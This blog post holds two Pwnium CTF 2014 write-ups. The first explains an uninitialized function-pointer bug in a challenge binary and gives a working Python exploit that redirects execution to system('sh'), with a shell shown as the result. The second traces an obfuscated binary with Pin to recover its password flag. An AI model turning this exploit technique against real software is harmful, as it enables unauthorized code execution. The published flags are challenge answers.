Monday, July 7, 2014

Pwnium CTF 2014 - Be a Robot - PWN 200 - [Team SegFault]

A 32-bit ELF was given for this challenge. The binary is simple which reads name and age.
[root@renorobert Pwnium]# ./pwn200
Name: A
Age: 20
Bye dude ;)
The vulnerability was in atExit function. This is what it looked like:
When the age is set to 0 or less, the function pointer is uninitialized.
 
[root@renorobert Pwnium]# ./pwn200
Name: A
Age: 0
Segmentation fault (core dumped)
To exploit this condition, we need to initialize the function pointer with user controlled data. The read_user function, reads 64 bytes of data using fgets into the stack. Later after this call returns, atExit uses the same stack area, thereby giving a possibility to initialize the value.

The idea of the exploit:
[*] Initialize function pointer with PLT address of system function
[*] Fill the stack with pointer to string 'sh' such that, call eax will transfer control to system() function with 'sh' parameter

Below is the exploit code:
#!/usr/bin/env python

import struct
import os

pipe_r, pipe_w = os.pipe()
pid = os.fork()

if pid == 0:
        # child process
        os.close(pipe_w)
        os.dup2(pipe_r, 0)
        os.execl("./pwn200", "./pwn200")

os.close(pipe_r)

payload  = struct.pack("<I", 0x08048c01) * 12   # sh string
payload += struct.pack("<I", 0x08048430)        # system()
payload += struct.pack("<I", 0x08048c01) * 3
payload += "0\n"                                # age value to trigger the issue

os.write(pipe_w, payload)
while 1:
    os.write(pipe_w, raw_input() + "\n")
The ctf server was down most of the time, so this exploit was tested only locally.
[root@renorobert Pwnium]# python exploit.py
id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

Pwnium CTF 2014 - Breakpoints - RE 300 - [Team SegFault]

We were given a 64-bit stripped ELF for this challenge. We need to generate a valid password for this executable.
[root@renorobert Pwnium]# ./re300
Password : A
:(
Analyzing the file in IDA, there was only 2 functions. Main function at 0x040661A and CheckPassword function at 0x040063A. The Main function had nothing interesting except a ptrace call for anti-debugging.

This is what CheckPassword looked like:
The CheckPassword function was large, so we decided to trace the interesting instructions in it, as the program executes. Idea was to supply arbitrary input and trace the execution.
[root@renorobert MyPinTool]# pin -t trace.so -- ./re300 
Password : Z
:(
0x40064d: cmp eax, 0x712a6ee0
0x400658: cmp eax, 0x712a6ee0
0x400aac: cmp eax, 0xb2fc91ab
0x400ab7: cmp eax, 0xb2fc91ab
0x400cd0: cmp eax, 0xdd01eab3
0x400cdb: cmp eax, 0xdd01eab3
0x400de2: cmp eax, 0xe81c0d24
0x400ded: cmp eax, 0xe81c0d24
0x400e69: cmp eax, 0xf03ad87a
0x400e74: cmp eax, 0xf03ad87a
0x400eb8: cmp eax, 0xf487628c
0x400ec3: cmp eax, 0xf487628c
0x400eda: cmp eax, 0xf6fbb4e5
0x400ee5: cmp eax, 0xfe129837
0x40580e: cmp al, 0x44
0x40582d: cmp al, 0x64
0x40584c: cmp al, 0x31
0x40586b: cmp al, 0x34
0x40588a: cmp al, 0x2a
0x4058a9: cmp al, 0xb
0x4058c8: cmp al, 0x3d
0x4058e7: cmp al, 0x66
0x405906: cmp al, 0x63
0x405925: cmp al, 0x46
0x405944: cmp al, 0x36
0x405963: cmp al, 0x69
0x405982: cmp al, 0x6d
0x40599a: add qword ptr [rbp-0x8], 0x1
0x400586: sub rax, 0x606b20
0x40058c: cmp rax, 0xe
The user supplied value is compared against 0x44, 0x64 ,.., 0x6D. But there was no other computations performed. Looks like only comparisons are made with supplied password.
Lets try another run by supplying 0x44(D) as input.
[root@renorobert MyPinTool]# pin -t trace.so -- ./re300 
Password : D
:(
0x40064d: cmp eax, 0x712a6ee0
0x400658: cmp eax, 0x712a6ee0
0x400aac: cmp eax, 0xb2fc91ab
0x400ab7: cmp eax, 0xb2fc91ab
0x400cd0: cmp eax, 0xdd01eab3
0x400cdb: cmp eax, 0xdd01eab3
0x400de2: cmp eax, 0xe81c0d24
0x400ded: cmp eax, 0xe81c0d24
0x400e69: cmp eax, 0xf03ad87a
0x400e74: cmp eax, 0xf03ad87a
0x400eb8: cmp eax, 0xf487628c
0x400ec3: cmp eax, 0xf487628c
0x400eda: cmp eax, 0xf6fbb4e5
0x400ee5: cmp eax, 0xfe129837
0x40580e: cmp al, 0x44
0x40581c: add qword ptr [rbp-0x8], 0x1
0x400586: sub rax, 0x606b20
0x40058c: cmp rax, 0xe
When the comparison succeeds, rest of the checks are skipped. That looked promising. Lets pass 2 bytes input as 'DZ'
[root@renorobert MyPinTool]# pin -t trace.so -- ./re300 
Password : DZ
:(
0x40064d: cmp eax, 0x712a6ee0
0x400658: cmp eax, 0x712a6ee0
0x400aac: cmp eax, 0xb2fc91ab
0x400ab7: cmp eax, 0xb2fc91ab
0x400cd0: cmp eax, 0xdd01eab3
0x400cdb: cmp eax, 0xdd01eab3
0x400de2: cmp eax, 0xe81c0d24
0x400ded: cmp eax, 0xe81c0d24
0x400e69: cmp eax, 0xf03ad87a
0x400e74: cmp eax, 0xf03ad87a
0x400eb8: cmp eax, 0xf487628c
0x400ec3: cmp eax, 0xf487628c
0x400eda: cmp eax, 0xf6fbb4e5
0x400ee5: cmp eax, 0xfe129837
0x40580e: cmp al, 0x44
0x40581c: add qword ptr [rbp-0x8], 0x1
0x40064d: cmp eax, 0x712a6ee0
0x400658: cmp eax, 0x712a6ee0
0x400aac: cmp eax, 0xb2fc91ab
0x400ab7: cmp eax, 0xb2fc91ab
0x400cd0: cmp eax, 0xdd01eab3
0x400cdb: cmp eax, 0xdd01eab3
0x400ce6: cmp eax, 0xcfcddef9
0x400cf1: cmp eax, 0xcfcddef9
0x400d6d: cmp eax, 0xd81f6c49
0x400d78: cmp eax, 0xd81f6c49
0x400d7f: cmp eax, 0xd28dcea2
0x400d8a: cmp eax, 0xd4f27687
0x400d95: cmp eax, 0xd2283d5c
0x401c5c: cmp al, 0x33
0x401c7b: cmp al, 0x23
0x401c9a: cmp al, 0x36
0x400586: sub rax, 0x606b20
0x40058c: cmp rax, 0xe
The first char is checked against 0x44 which succeeds. The second char is checked against 0x33(3), 0x23 and 0x36. So the next valid char is '3'. Thus by dumping the first checks of each block of comparison we got D3bugG1nG_Th1s_ObfuSc4t3d_C0d3_1s_R34lly_H4rD
[root@renorobert Pwnium]# ./re300
Password : D3bugG1nG_Th1s_ObfuSc4t3d_C0d3_1s_R34lly_H4rD
:)
So flag for the challenge is D3bugG1nG_Th1s_ObfuSc4t3d_C0d3_1s_R34lly_H4rD